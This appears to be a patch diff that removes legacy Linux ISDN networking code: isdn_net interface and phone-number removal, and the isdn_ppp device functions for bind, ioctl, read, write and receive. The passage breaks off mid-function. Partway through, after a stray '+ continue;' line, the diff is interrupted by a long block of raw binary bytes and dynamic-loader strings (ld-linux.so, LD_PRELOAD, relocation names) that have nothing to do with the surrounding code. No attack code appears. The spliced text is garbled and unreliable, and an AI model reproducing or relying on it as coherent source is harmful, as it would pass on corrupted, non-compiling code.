isdn_net_dev *p = isdn_net_findif(phone->name); - int inout = phone->outgoing & 1; - isdn_net_phone *n; - isdn_net_phone *m; - - if (p) { - n = p->local.phone[inout]; - m = NULL; - while (n) { - if (!strcmp(n->num, phone->phone)) { - if (m) - m->next = n->next; - else - p->local.phone[inout] = n->next; - kfree(n); - return 0; - } - m = n; - n = (isdn_net_phone *) n->next; - } - return -EINVAL; - } - return -ENODEV; -} - -/* - * Delete all phone-numbers of an interface. - */ -static int -isdn_net_rmallphone(isdn_net_dev * p) -{ - isdn_net_phone *n; - isdn_net_phone *m; - int flags; - int i; - - save_flags(flags); - cli(); - for (i = 0; i < 2; i++) { - n = p->local.phone[i]; - while (n) { - m = n->next; - kfree(n); - n = m; - } - p->local.phone[i] = NULL; - } - restore_flags(flags); - return 0; -} - -/* - * Force a hangup of a network-interface. - */ -int -isdn_net_force_hangup(char *name) -{ - isdn_net_dev *p = isdn_net_findif(name); - struct device *q; - - if (p) { - if (p->local.isdn_device < 0) - return 1; - isdn_net_hangup(&p->dev); - q = p->local.slave; - /* If this interface has slaves, do a hangup for them also. */ - while (q) { - isdn_net_hangup(q); - q = (((isdn_net_local *) q->priv)->slave); - } - return 0; - } - return -ENODEV; -} - -/* - * Helper-function for isdn_net_rm: Do the real work. - */ -static int -isdn_net_realrm(isdn_net_dev * p, isdn_net_dev * q) -{ - int flags; - - save_flags(flags); - cli(); - if (p->local.master) { - /* If it's a slave, it may be removed even if it is busy. However - * it has to be hung up first. - */ - isdn_net_hangup(&p->dev); - p->dev.start = 0; - } - if (p->dev.start) { - restore_flags(flags); - return -EBUSY; - } - /* Free all phone-entries */ - isdn_net_rmallphone(p); - /* If interface is bound exclusive, free channel-usage */ - if (p->local.exclusive != -1) - isdn_unexclusive_channel(p->local.pre_device, p->local.pre_channel); - if (p->local.master) { - /* It's a slave-device, so update master's slave-pointer if necessary */ - if (((isdn_net_local *) (p->local.master->priv))->slave == &p->dev) - ((isdn_net_local *) (p->local.master->priv))->slave = p->local.slave; - } else - /* Unregister only if it's a master-device */ - unregister_netdev(&p->dev); - /* Unlink device from chain */ - if (q) - q->next = p->next; - else - dev->netdev = p->next; - if (p->local.slave) { - /* If this interface has a slave, remove it also */ - char *slavename = ((isdn_net_local *) (p->local.slave->priv))->name; - isdn_net_dev *n = dev->netdev; - q = NULL; - while (n) { - if (!strcmp(n->local.name, slavename)) { - isdn_net_realrm(n, q); - break; - } - q = n; - n = (isdn_net_dev *) n->next; - } - } - /* If no more net-devices remain, disable auto-hangup timer */ - if (dev->netdev == NULL) - isdn_timer_ctrl(ISDN_TIMER_NETHANGUP, 0); - restore_flags(flags); - - kfree(p); - - return 0; -} - -/* - * Remove a single network-interface. - */ -int -isdn_net_rm(char *name) -{ - isdn_net_dev *p; - isdn_net_dev *q; - - /* Search name in netdev-chain */ - p = dev->netdev; - q = NULL; - while (p) { - if (!strcmp(p->local.name, name)) - return (isdn_net_realrm(p, q)); - q = p; - p = (isdn_net_dev *) p->next; - } - /* If no more net-devices remain, disable auto-hangup timer */ - if (dev->netdev == NULL) - isdn_timer_ctrl(ISDN_TIMER_NETHANGUP, 0); - return -ENODEV; -} - -/* - * Remove all network-interfaces - */ -int -isdn_net_rmall(void) -{ - int flags; - int ret; - - /* Walk through netdev-chain */ - save_flags(flags); - cli(); - while (dev->netdev) { - if (!dev->netdev->local.master) { - /* Remove master-devices only, slaves get removed with their master */ - if ((ret = isdn_net_realrm(dev->netdev, NULL))) { - restore_flags(flags); - return ret; - } - } - } - dev->netdev = NULL; - restore_flags(flags); - return 0; -} - -/* - * helper function to flush device queues - * the better place would be net/core/dev.c - */ -static void -dev_purge_queues(struct device *dev) -{ - int i; - for (i = 0; i < DEV_NUMBUFFS; i++) { - struct sk_buff *skb; - while ((skb = skb_dequeue(&dev->buffs[i]))) - dev_kfree_skb(skb, FREE_WRITE); - } - -} + continue;[׎Am X|(͆(X M~Q?M7M1j8ʃyP/&!w3 +Ct }K7l b +@A%JS1U߯mt/xm/ L POݥKYK؏@?h)ahD} dGMd*kJ c<oC_W + +8rqVOwsjkAFcXQIAlP@wp)HN_n;F/RMIءXJUb2]N|#6PB_Yg'h%lP+r.k5t_s@n® +q yFr|"b[ttx/H&&T!ٔq5x]ueH 련b]xzXwXr.'%MC:Dwmjm!no}.Lå~rp_~#γF-xJJ քTE±* G/G[mM*$e|˭ͬyҭ}TG(Duu+nN l<F%ych82`nr Lg?k=Qulrɕ59EVHGo\e&#>qc|G7i1M12@_zV + +qgIOhժA6\4$F&ؗb(5v?|KYKqZ^7Fpd10M\Ie`DfChfpJV0<[wٙ3p$2Ʌ +TxYiw2^p4m2+ mjVlYLw`%6 Լ:03Ss۟Ђ%EXU~@ + 9ݛtlKB#`ݣfh Ɛݪ`*v`'3@_np[XD-nIve[ٮJTKz1˅PM{#"4IM|k |8+BwHaϺD@ũlst|xz؁+غ#4ʽT e+|,|f^QE;: y/>nrA-\dN\Pf~.dk*| d)*EXEb$+70rK STѐrd؛)gP?fGp2oMZ nӂYD 0( +Np Q"/K(d7AܫIB̴ +ӯ2o2r23K2_쬶~e^GPu ,tr߀+$)'Ksg{M*Vu[皻Bjګk"kZ~isj bv >ۚުG6v~ɇD6>bAI69MB -:X@r頀AL>!b?xRFϛE,wKMxh$)Ѽ6IxFÒ'T[žhW(/aTK}nxFA(å8µA QgԳ3cX~p(yR U +ף6䶌A5Q?Lkl+kp䯥*}ogǃ#ҨLDJJoqsT؏#s6ƹWe[^_]ÐS[[þ鐐UXWVS[Öu}JEE@t oEEt$EE"v1&&E EtE0EEt2} }E-] "&Et E+vEtE OE t}u 6}uOE} uE0E0 ME 1uE EAE} uE9E~EE+}Eu + FO}tEFE t%}u 0&}u 0FE@!FEu*O~#vEF}O}v&0FEM9E|EM~+vED(FEEHE} & FOe[^_]Í6&U,WVS[ÓEU : v%t Dž} G} @ƒ+ttttttttttttnt&^t&Nt& >t&.t&DžU +Ѐ wM1ҍv4TE M < vΉD&&*u-BU I}ىDžU :.ru B< wODžʋu 6TЉE E < v׋2&*uU v} +DžDžE ht +ltLu} ?E @E Dž +E P ++<4DTu$v FჅ@R A.vu 1IuD9}4v AN9|19~'AB9ڋ9L6 FO9|6uDžQVWj@PQ6lu'V)6Q):mt&&Dž@Džm&W&E 8%t%@U +tFt&JU &luW6huGtQZv&V=&tPQVWPQRV} G} Bx)uS̀[Ѝ[^_]/lib/ld-linux.so.1dl_boot: mmap of /dev/zero failed! +ELF dynamic loader - unable to self-bootstrap - symbol undefined. +LD_BIND_NOWLD_PRELOADLD_LIBRARY_PATHLD_AOUT_PRELOADLD_AOUT_LIBRARY_PATHLD_TRACE_LOADED_OBJECTS %s => not found +%s: can't load library '%s' + %s => %s +/etc/ld.so.preload%s: can't open file '%s' +%s: can't map file '%s' +LD_WARN___brk_addr__environatexit%s: can't handle RELA relocation records +%s: can't map '/dev/zero' +R_386_NUMR_386_GOTPCR_386_GOTOFFR_386_RELATIVER_386_JMP_SLOTR_386_GLOB_DATR_386_COPYR_386_PLT32R_386_GOT32R_386_PC32R_386_32R_386_NONE%s: Incorrect relocation type in jump relocations +%s: can't resolve symbol '%s' +%s: (LAZY) can't handle reloc type %s '%s' +%s: can't handle reloc type /etc/ld.so.cache%s: can't open cache '%s' +%s: can't map cache '%s' +ld.so-%s: cache '%s' is corrupt +1.7.0%s: cache '%s' is not version %s +/usr/lib//lib/%s: '%s' is not an ELF file +%s: '%s' is not an ELF executable for 386/486 +%s: '%s' has more than one dynamic section +%s: can't map '/dev/zero' +%s: can't map '%s' +%s: '%s' is missing a dynamic section +0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ8a@L@K@K@K@K@K@K@K@K@K@K@K@`a@b@h_`@@@1@#@0@?@0B@&@,@.@"@5@ )@*@!@`%@ $@+@`#@@@^@^@x^@|^@t^@p^@_@_@ @^@p$@^@^@_@_@$@x + ^b@`@p@`9Pj F PQePj F0P?=u?Ƈ0VZF P P_FP)Pt`e[^_]Ð&UVSu^b1ۉAJyPjSƆV= t5x=%|8Re[^] UU1<t1]Í@=~] U +jP19~!vD@9]Ð&UVS]u 1ҡ|tv9L B |ue[^]Ít&&UWVSUE 1Dž1DžƀjR} +1zv POhQQ à H9~#PPݱ%uFQJt#tt|FDž^t&u+5t&wBQu/t "&Džߡ QDt|#I DFQF[^_]ÍU WVSDžU :6[hjR*\ u -#define __NO_VERSION__ -#include -#include -#include -#if (LINUX_VERSION_CODE >= 0x020117) -#include -#endif -#include "isdn_common.h" -#include "isdn_ppp.h" -#include "isdn_net.h" - -#ifndef PPP_IPX -#define PPP_IPX 0x002b -#endif - -/* set this if you use dynamic addressing */ - -/* Prototypes */ -static int isdn_ppp_fill_rq(unsigned char *buf, int len, int proto, int slot); -static int isdn_ppp_closewait(int slot); -static void isdn_ppp_push_higher(isdn_net_dev * net_dev, isdn_net_local * lp, - struct sk_buff *skb, int proto); -static int isdn_ppp_if_get_unit(char *namebuf); - -#ifdef CONFIG_ISDN_MPP -static int isdn_ppp_bundle(struct ippp_struct *, int unit); -static void isdn_ppp_mask_queue(isdn_net_dev * dev, long mask); -static void isdn_ppp_cleanup_mpqueue(isdn_net_dev * dev, long min); -static void isdn_ppp_cleanup_sqqueue(isdn_net_dev * dev, isdn_net_local *, long min); -static void isdn_ppp_free_sqqueue(isdn_net_dev *); -static int isdn_ppp_fill_mpqueue(isdn_net_dev *, struct sk_buff **skb, - int BEbyte, long *sqno, int min_sqno); -static void isdn_ppp_free_mpqueue(isdn_net_dev *); -#endif - -char *isdn_ppp_revision = "$Revision: 1.25 $"; - -static struct ippp_struct *ippp_table[ISDN_MAX_CHANNELS]; - -extern int isdn_net_force_dial_lp(isdn_net_local *); - -/* - * frame log (debug) - */ -static void -isdn_ppp_frame_log(char *info, char *data, int len, int maxlen) -{ - int cnt, - j, - i; - char buf[80]; - - if (len < maxlen) - maxlen = len; - - for (i = 0, cnt = 0; cnt < maxlen; i++) { - for (j = 0; j < 16 && cnt < maxlen; j++, cnt++) - sprintf(buf + j * 3, "%02x ", (unsigned char) data[cnt]); - printk(KERN_DEBUG "%s[%d]: %s\n", info, i, buf); - } -} - -/* - * unbind isdn_net_local <=> ippp-device - * note: it can happen, that we hangup/free the master before the slaves - */ -int -isdn_ppp_free(isdn_net_local * lp) -{ -#ifdef CONFIG_ISDN_MPP - isdn_net_local *master_lp = lp; -#endif - unsigned long flags; - struct ippp_struct *is; - - if (lp->ppp_slot < 0 || lp->ppp_slot > ISDN_MAX_CHANNELS) - return 0; - - is = ippp_table[lp->ppp_slot]; - - save_flags(flags); - cli(); -#ifdef CONFIG_ISDN_MPP - if (lp->master) - master_lp = (isdn_net_local *) lp->master->priv; - - lp->last->next = lp->next; - lp->next->last = lp->last; - if (master_lp->netdev->queue == lp) { - master_lp->netdev->queue = lp->next; - if (lp->next == lp) { /* last link in queue? */ - master_lp->netdev->ib.bundled = 0; - isdn_ppp_free_mpqueue(master_lp->netdev); - isdn_ppp_free_sqqueue(master_lp->netdev); - } - } - lp->next = lp->last = lp; /* (re)set own pointers */ -#endif - - if ((is->state & IPPP_CONNECT)) - isdn_ppp_closewait(lp->ppp_slot); /* force wakeup on ippp device */ - else if (is->state & IPPP_ASSIGNED) - is->state = IPPP_OPEN; /* fallback to 'OPEN but not ASSIGEND' staet */ - - - if (is->debug & 0x1) - printk(KERN_DEBUG "isdn_ppp_free %d %lx %lx\n", lp->ppp_slot, (long) lp, (long) is->lp); - - is->lp = NULL; /* link is down .. set lp to NULL */ -#ifdef ISDN_SYNCPPP_READDRESS - is->old_pa_addr = 0x0; - is->old_pa_dstaddr = 0x0; -#endif - lp->ppp_slot = -1; /* is this OK ?? */ - restore_flags(flags); - - return 0; -} - -/* - * bind isdn_net_local <=> ippp-device - */ -int -isdn_ppp_bind(isdn_net_local * lp) -{ - int i; - int unit = 0; - long flags; - struct ippp_struct *is; - - if (lp->p_encap != ISDN_NET_ENCAP_SYNCPPP) - return -1; - - save_flags(flags); - cli(); - - if (lp->pppbind < 0) { /* device bounded to ippp device ? */ - isdn_net_dev *net_dev = dev->netdev; - char exclusive[ISDN_MAX_CHANNELS]; /* exclusive flags */ - memset(exclusive, 0, ISDN_MAX_CHANNELS); - while (net_dev) { /* step through net devices to find exclusive minors */ - isdn_net_local *lp = &net_dev->local; - if (lp->pppbind >= 0) - exclusive[lp->pppbind] = 1; - net_dev = net_dev->next; - } - /* - * search a free device / slot - */ - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - if (ippp_table[i]->state == IPPP_OPEN && !exclusive[ippp_table[i]->minor]) { /* OPEN, but not connected! */ - break; - } - } - } else { - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if (ippp_table[i]->minor == lp->pppbind && ippp_table[i]->state == IPPP_OPEN) - break; - } - - if (i >= ISDN_MAX_CHANNELS) { - restore_flags(flags); - printk(KERN_WARNING "isdn_ppp_bind: Can't find usable ippp device.\n"); - return -1; - } - unit = isdn_ppp_if_get_unit(lp->name); /* get unit number from interface name .. ugly! */ - if (unit < 0) { - printk(KERN_ERR "isdn_ppp_bind: illegal interface name %s.\n", lp->name); - return -1; - } - lp->ppp_slot = i; - is = ippp_table[i]; - is->lp = lp; - is->unit = unit; - is->state = IPPP_OPEN | IPPP_ASSIGNED; /* assigned to a netdevice but not connected */ - - restore_flags(flags); - - return lp->ppp_slot; -} - -/* - * kick the ipppd on the device - * (wakes up daemon after B-channel connect) - */ - -void -isdn_ppp_wakeup_daemon(isdn_net_local * lp) -{ - if (lp->ppp_slot < 0 || lp->ppp_slot >= ISDN_MAX_CHANNELS) - return; - - ippp_table[lp->ppp_slot]->state = IPPP_OPEN | IPPP_CONNECT | IPPP_NOBLOCK; - - if (ippp_table[lp->ppp_slot]->wq) - wake_up_interruptible(&ippp_table[lp->ppp_slot]->wq); -} - -/* - * there was a hangup on the netdevice - * force wakeup of the ippp device - * go into 'device waits for release' state - */ -static int -isdn_ppp_closewait(int slot) -{ - struct ippp_struct *is; - - if (slot < 0 || slot >= ISDN_MAX_CHANNELS) - return 0; - is = ippp_table[slot]; - - if (is->state && is->wq) - wake_up_interruptible(&is->wq); - - is->state = IPPP_CLOSEWAIT; - return 1; -} - -/* - * isdn_ppp_find_slot / isdn_ppp_free_slot - */ - -static int -isdn_ppp_get_slot(void) -{ - int i; - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - if (!ippp_table[i]->state) - return i; - } - return -1; -} - -/* - * isdn_ppp_open - */ - -int -isdn_ppp_open(int min, struct file *file) -{ - int slot; - struct ippp_struct *is; - - if (min < 0 || min > ISDN_MAX_CHANNELS) - return -ENODEV; - - slot = isdn_ppp_get_slot(); - if (slot < 0) { - return -EBUSY; - } - is = file->private_data = ippp_table[slot]; - - if (is->debug & 0x1) - printk(KERN_DEBUG "ippp, open, slot: %d, minor: %d, state: %04x\n", slot, min, is->state); - - is->lp = NULL; - is->mp_seqno = 0; /* MP sequence number */ - is->pppcfg = 0; /* ppp configuration */ - is->mpppcfg = 0; /* mppp configuration */ - is->range = 0x1000000; /* MP: 24 bit range */ - is->last_link_seqno = -1; /* MP: maybe set to Bundle-MIN, when joining a bundle ?? */ - is->unit = -1; /* set, when we have our interface */ - is->mru = 1524; /* MRU, default 1524 */ - is->maxcid = 16; /* VJ: maxcid */ - is->tk = current; - is->wq = NULL; /* read() wait queue */ - is->wq1 = NULL; /* select() wait queue */ - is->first = is->rq + NUM_RCV_BUFFS - 1; /* receive queue */ - is->last = is->rq; - is->minor = min; -#ifdef CONFIG_ISDN_PPP_VJ - /* - * VJ header compression init - */ - is->slcomp = slhc_init(16, 16); /* not necessary for 2. link in bundle */ -#endif - - is->state = IPPP_OPEN; - - return 0; -} - -/* - * release ippp device - */ -void -isdn_ppp_release(int min, struct file *file) -{ - int i; - struct ippp_struct *is; - - if (min < 0 || min >= ISDN_MAX_CHANNELS) - return; - is = file->private_data; - - if (is->debug & 0x1) - printk(KERN_DEBUG "ippp: release, minor: %d %lx\n", min, (long) is->lp); - - if (is->lp) { /* a lp address says: this link is still up */ - isdn_net_dev *p = is->lp->netdev; - - is->state &= ~IPPP_CONNECT; /* -> effect: no call of wakeup */ - /* - * isdn_net_hangup() calls isdn_ppp_free() - * isdn_ppp_free() sets is->lp to NULL and lp->ppp_slot to -1 - * removing the IPPP_CONNECT flag omits calling of isdn_ppp_wakeup_daemon() - */ - isdn_net_hangup(&p->dev); - } - for (i = 0; i < NUM_RCV_BUFFS; i++) { - if (is->rq[i].buf) { - kfree(is->rq[i].buf); - is->rq[i].buf = NULL; - } - } - is->first = is->rq + NUM_RCV_BUFFS - 1; /* receive queue */ - is->last = is->rq; - -#ifdef CONFIG_ISDN_PPP_VJ - slhc_free(is->slcomp); - is->slcomp = NULL; -#endif - - is->state = 0; -} - -/* - * get_arg .. ioctl helper - */ -static int -get_arg(void *b, void *val, int len) -{ - int r; - if (len <= 0) - len = sizeof(unsigned long); - if ((r = verify_area(VERIFY_READ, (void *) b, len))) - return r; - copy_from_user((void *) val, b, len); - return 0; -} - -/* - * set arg .. ioctl helper - */ -static int -set_arg(void *b, unsigned long val, void *str) -{ - int r; - if (!str) { - if ((r = verify_area(VERIFY_WRITE, b, 4))) - return r; - copy_to_user(b, (void *) &val, 4); - } else { - if ((r = verify_area(VERIFY_WRITE, b, val))) - return r; - copy_to_user(b, str, val); - } - return 0; -} - -/* - * ippp device ioctl - */ -int -isdn_ppp_ioctl(int min, struct file *file, unsigned int cmd, unsigned long arg) -{ - unsigned long val; - int r; - struct ippp_struct *is; - isdn_net_local *lp; - - is = (struct ippp_struct *) file->private_data; - lp = is->lp; - - if (is->debug & 0x1) - printk(KERN_DEBUG "isdn_ppp_ioctl: minor: %d cmd: %x state: %x\n", min, cmd, is->state); - - if (!(is->state & IPPP_OPEN)) - return -EINVAL; - - switch (cmd) { - case PPPIOCBUNDLE: -#ifdef CONFIG_ISDN_MPP - if (!(is->state & IPPP_CONNECT)) - return -EINVAL; - if ((r = get_arg((void *) arg, &val, 0))) - return r; - printk(KERN_DEBUG "iPPP-bundle: minor: %d, slave unit: %d, master unit: %d\n", - (int) min, (int) is->unit, (int) val); - return isdn_ppp_bundle(is, val); -#else - return -1; -#endif - break; - case PPPIOCGUNIT: /* get ppp/isdn unit number */ - if ((r = set_arg((void *) arg, is->unit, NULL))) - return r; - break; - case PPPIOCGMPFLAGS: /* get configuration flags */ - if ((r = set_arg((void *) arg, is->mpppcfg, NULL))) - return r; - break; - case PPPIOCSMPFLAGS: /* set configuration flags */ - if ((r = get_arg((void *) arg, &val, 0))) - return r; - is->mpppcfg = val; - break; - case PPPIOCGFLAGS: /* get configuration flags */ - if ((r = set_arg((void *) arg, is->pppcfg, NULL))) - return r; - break; - case PPPIOCSFLAGS: /* set configuration flags */ - if ((r = get_arg((void *) arg, &val, 0))) { - return r; - } - if (val & SC_ENABLE_IP && !(is->pppcfg & SC_ENABLE_IP) && (is->state & IPPP_CONNECT)) { - if (lp) { - lp->netdev->dev.tbusy = 0; - mark_bh(NET_BH); /* OK .. we are ready to send buffers */ - } - } - is->pppcfg = val; - break; -#if 0 - case PPPIOCGSTAT: /* read PPP statistic information */ - break; -#endif - case PPPIOCGIDLE: /* get idle time information */ - if (lp) { - struct ppp_idle pidle; - pidle.xmit_idle = pidle.recv_idle = lp->huptimer; - if ((r = set_arg((void *) arg, sizeof(struct ppp_idle), &pidle))) - return r; - } - break; - case PPPIOCSMRU: /* set receive unit size for PPP */ - if ((r = get_arg((void *) arg, &val, 0))) - return r; - is->mru = val; - break; - case PPPIOCSMPMRU: - break; - case PPPIOCSMPMTU: - break; - case PPPIOCSMAXCID: /* set the maximum compression slot id */ - if ((r = get_arg((void *) arg, &val, 0))) - return r; - val++; - if (is->maxcid != val) { -#ifdef CONFIG_ISDN_PPP_VJ - struct slcompress *sltmp; -#endif - if (is->debug & 0x1) - printk(KERN_DEBUG "ippp, ioctl: changed MAXCID to %ld\n", val); - is->maxcid = val; -#ifdef CONFIG_ISDN_PPP_VJ - sltmp = slhc_init(16, val); - if (!sltmp) { - printk(KERN_ERR "ippp, can't realloc slhc struct\n"); - return -ENOMEM; - } - if (is->slcomp) - slhc_free(is->slcomp); - is->slcomp = sltmp; -#endif - } - break; - case PPPIOCGDEBUG: - if ((r = set_arg((void *) arg, is->debug, 0))) - return r; - break; - case PPPIOCSDEBUG: - if ((r = get_arg((void *) arg, &val, 0))) - return r; - is->debug = val; - break; - case PPPIOCSCOMPRESS: -#if 0 - { - struct ppp_option_data pod; - r = get_arg((void *) arg, &pod, sizeof(struct ppp_option_data)); - if (r) - return r; - ippp_set_compression(is, &pod); - } -#endif - break; - case PPPIOCGCALLINFO: - { - struct pppcallinfo pci; - memset((char *) &pci,0,sizeof(struct pppcallinfo)); - if(lp) - { - strncpy(pci.local_num,lp->msn,63); - if(lp->dial) { - strncpy(pci.remote_num,lp->dial->num,63); - } - pci.charge_units = lp->charge; - if(lp->outgoing) - pci.calltype = CALLTYPE_OUTGOING; - else - pci.calltype = CALLTYPE_INCOMING; - if(lp->flags & ISDN_NET_CALLBACK) - pci.calltype |= CALLTYPE_CALLBACK; - } - return set_arg((void *)arg,sizeof(struct pppcallinfo),&pci); - } - default: - break; - } - return 0; -} - -#if (LINUX_VERSION_CODE < 0x020117) -int -isdn_ppp_select(int min, struct file *file, int type, select_table * st) -{ - struct ippp_buf_queue *bf, - *bl; - unsigned long flags; - struct ippp_struct *is; - - is = file->private_data; - - if (is->debug & 0x2) - printk(KERN_DEBUG "isdn_ppp_select: minor: %d, type: %d \n", min, type); - - if (!(is->state & IPPP_OPEN)) - return -EINVAL; - - switch (type) { - case SEL_IN: - save_flags(flags); - cli(); - bl = is->last; - bf = is->first; - /* - * if IPPP_NOBLOCK is set we return even if we have nothing to read - */ - if (bf->next == bl && !(is->state & IPPP_NOBLOCK)) { - select_wait(&is->wq, st); - restore_flags(flags); - return 0; - } - is->state &= ~IPPP_NOBLOCK; - restore_flags(flags); - return 1; - case SEL_OUT: - /* we're always ready to send .. */ - return 1; - case SEL_EX: - select_wait(&is->wq1, st); - return 0; - } - return 1; -} -#else -unsigned int -isdn_ppp_poll(struct file *file, poll_table * wait) -{ - unsigned int mask; - struct ippp_buf_queue *bf; - struct ippp_buf_queue *bl; - unsigned long flags; - struct ippp_struct *is; - - is = file->private_data; - - if (is->debug & 0x2) - printk(KERN_DEBUG "isdn_ppp_poll: minor: %d\n", MINOR(file->f_inode->i_rdev)); - - poll_wait(&is->wq, wait); - - if (!(is->state & IPPP_OPEN)) { - printk(KERN_DEBUG "isdn_ppp: device not open\n"); - return POLLERR; - } - /* we're always ready to send .. */ - mask = POLLOUT | POLLWRNORM; - - save_flags(flags); - cli(); - bl = is->last; - bf = is->first; - /* - * if IPPP_NOBLOCK is set we return even if we have nothing to read - */ - if (bf->next != bl || (is->state & IPPP_NOBLOCK)) { - is->state &= ~IPPP_NOBLOCK; - mask |= POLLIN | POLLRDNORM; - } - restore_flags(flags); - return mask; -} -#endif - - -/* - * fill up isdn_ppp_read() queue .. - */ - -static int -isdn_ppp_fill_rq(unsigned char *buf, int len, int proto, int slot) -{ - struct ippp_buf_queue *bf, - *bl; - unsigned long flags; - unsigned char *nbuf; - struct ippp_struct *is; - - if (slot < 0 || slot >= ISDN_MAX_CHANNELS) { - printk(KERN_WARNING "ippp: illegal slot.\n"); - return 0; - } - is = ippp_table[slot]; - - if (!(is->state & IPPP_CONNECT)) { - printk(KERN_DEBUG "ippp: device not activated.\n"); - return 0; - } - nbuf = (unsigned char *) kmalloc(len + 4, GFP_ATOMIC); - if (!nbuf) { - printk(KERN_WARNING "ippp: Can't alloc buf\n"); - return 0; - } - nbuf[0] = PPP_ALLSTATIONS; - nbuf[1] = PPP_UI; - nbuf[2] = proto >> 8; - nbuf[3] = proto & 0xff; - memcpy(nbuf + 4, buf, len); - - save_flags(flags); - cli(); - - bf = is->first; - bl = is->last; - - if (bf == bl) { - printk(KERN_WARNING "ippp: Queue is full; discarding first buffer\n"); - bf = bf->next; - kfree(bf->buf); - is->first = bf; - } - bl->buf = (char *) nbuf; - bl->len = len + 4; - - is->last = bl->next; - restore_flags(flags); - - if (is->wq) - wake_up_interruptible(&is->wq); - - return len; -} - -/* - * read() .. non-blocking: ipppd calls it only after select() - * reports, that there is data - */ - -int -isdn_ppp_read(int min, struct file *file, char *buf, int count) -{ - struct ippp_struct *is; - struct ippp_buf_queue *b; - int r; - unsigned long flags; - - is = file->private_data; - - if (!(is->state & IPPP_OPEN)) - return 0; - - if ((r = verify_area(VERIFY_WRITE, (void *) buf, count))) - return r; - - save_flags(flags); - cli(); - - b = is->first->next; - if (!b->buf) { - restore_flags(flags); - return -EAGAIN; - } - if (b->len < count) - count = b->len; - copy_to_user(buf, b->buf, count); - kfree(b->buf); - b->buf = NULL; - is->first = b; - restore_flags(flags); - - return count; -} - -/* - * ipppd wanna write a packet to the card .. non-blocking - */ - -int -isdn_ppp_write(int min, struct file *file, const char *buf, int count) -{ - isdn_net_local *lp; - struct ippp_struct *is; - int proto; - unsigned char protobuf[4]; - - is = file->private_data; - - if (!(is->state & IPPP_CONNECT)) - return 0; - - lp = is->lp; - - /* -> push it directly to the lowlevel interface */ - - if (!lp) - printk(KERN_DEBUG "isdn_ppp_write: lp == NULL\n"); - else { - /* - * Don't reset huptimer for - * LCP packets. (Echo requests). - */ - copy_from_user(protobuf, buf, 4); - proto = PPP_PROTOCOL(protobuf); - if (proto != PPP_LCP) - lp->huptimer = 0; - - if (lp->isdn_device < 0 || lp->isdn_channel < 0) - return 0; - - if (dev->drv[lp->isdn_device]->running && lp->dialstate == 0 && - (lp->flags & ISDN_NET_CONNECTED)) { - int cnt; - struct sk_buff *skb; - skb = dev_alloc_skb(count); - if (!skb) { - printk(KERN_WARNING "isdn_ppp_write: out of memory!\n"); - return count; - } - SET_SKB_FREE(skb); - copy_from_user(skb_put(skb, count), buf, count); - if (is->debug & 0x40) { - printk(KERN_DEBUG "ppp xmit: len %d\n", (int) skb->len); - isdn_ppp_frame_log("xmit", skb->data, skb->len, 32); - } - if ((cnt = isdn_writebuf_skb_stub(lp->isdn_device, lp->isdn_channel, skb)) != count) { - if (lp->sav_skb) { - dev_kfree_skb(lp->sav_skb, FREE_WRITE); - printk(KERN_INFO "isdn_ppp_write: freeing sav_skb (%d,%d)!\n", cnt, count); - } else - printk(KERN_INFO "isdn_ppp_write: Can't write PPP frame to LL (%d,%d)!\n", cnt, count); - lp->sav_skb = skb; - } - } - } - return count; -} - -/* - * init memory, structures etc. - */ - -int -isdn_ppp_init(void) -{ - int i, - j; - - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - if (!(ippp_table[i] = (struct ippp_struct *) - kmalloc(sizeof(struct ippp_struct), GFP_KERNEL))) { - printk(KERN_WARNING "isdn_ppp_init: Could not alloc ippp_table\n"); - for (j = 0; j < i; j++) - kfree(ippp_table[i]); - return -1; - } - memset((char *) ippp_table[i], 0, sizeof(struct ippp_struct)); - ippp_table[i]->state = 0; - ippp_table[i]->first = ippp_table[i]->rq + NUM_RCV_BUFFS - 1; - ippp_table[i]->last = ippp_table[i]->rq; - - for (j = 0; j < NUM_RCV_BUFFS; j++) { - ippp_table[i]->rq[j].buf = NULL; - ippp_table[i]->rq[j].last = ippp_table[i]->rq + - (NUM_RCV_BUFFS + j - 1) % NUM_RCV_BUFFS; - ippp_table[i]->rq[j].next = ippp_table[i]->rq + (j + 1) % NUM_RCV_BUFFS; - } - } - return 0; -} - -void -isdn_ppp_cleanup(void) -{ - int i; - - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - kfree(ippp_table[i]); -} - -/* - * handler for incoming packets on a syncPPP interface - */ -void -isdn_ppp_receive(isdn_net_dev * net_dev, isdn_net_local * lp, struct sk_buff *skb) -{ - struct ippp_struct *is; - is = ippp_table[lp->ppp_slot]; - - if (is->debug & 0x4) { - printk(KERN_DEBUG "ippp_receive: len: %d\n", (int) skb->len); - isdn_ppp_frame_log("receive", skb->data, skb->len, 32); - } - if (net_dev->local.master) { - printk(KERN_WARNING "isdn_ppp_receice: net_dev != master\n"); - net_dev = ((isdn_net_local *) net_dev->local.master->priv)->netdev; - } - if (skb->data[0] == 0xff && skb->data[1] == 0x03) - skb_pull(skb, 2); - else if (is->pppcfg & SC_REJ_COMP_AC) { - SET_SKB_FREE(skb); - dev_kfree_skb(skb, 0 /* FREE_READ */ ); - return; /* discard it silently */ - } -#ifdef CONFIG_ISDN_MPP - if (!(is->mpppcfg & SC_REJ_MP_PROT)) { - int proto; - int sqno_end; - if (skb->data[0] & 0x1) { - proto = skb->data[0]; - skb_pull(skb, 1); /* protocol ID is only 8 bit */ - } else { - proto = ((int) skb->data[0] << 8) + skb->data[1]; - skb_pull(skb, 2); - } - if (proto == PPP_MP) { - isdn_net_local *lpq; - long sqno, - min_sqno, - tseq; - u_char BEbyte = skb->data[0]; - if (is->debug & 0x8) - printk(KERN_DEBUG "recv: %d/%04x/%d -> %02x %02x %02x %02x %02x %02x\n", lp->ppp_slot, proto, - (int) skb->len, (int) skb->data[0], (int) skb->data[1], (int) skb->data[2], - (int) skb->data[3], (int) skb->data[4], (int) skb->data[5]); - if (!(is->mpppcfg & SC_IN_SHORT_SEQ)) { - sqno = ((int) skb->data[1] << 16) + ((int) skb->data[2] << 8) + (int) skb->data[3]; - skb_pull(skb, 4); - } else { - sqno = (((int) skb->data[0] & 0xf) << 8) + (int) skb->data[1]; - skb_pull(skb, 2); - } - - if ((tseq = is->last_link_seqno) >= sqno) { - int range = is->range; - if (tseq + 1024 < range + sqno) /* redundancy check .. not MP conform */ - 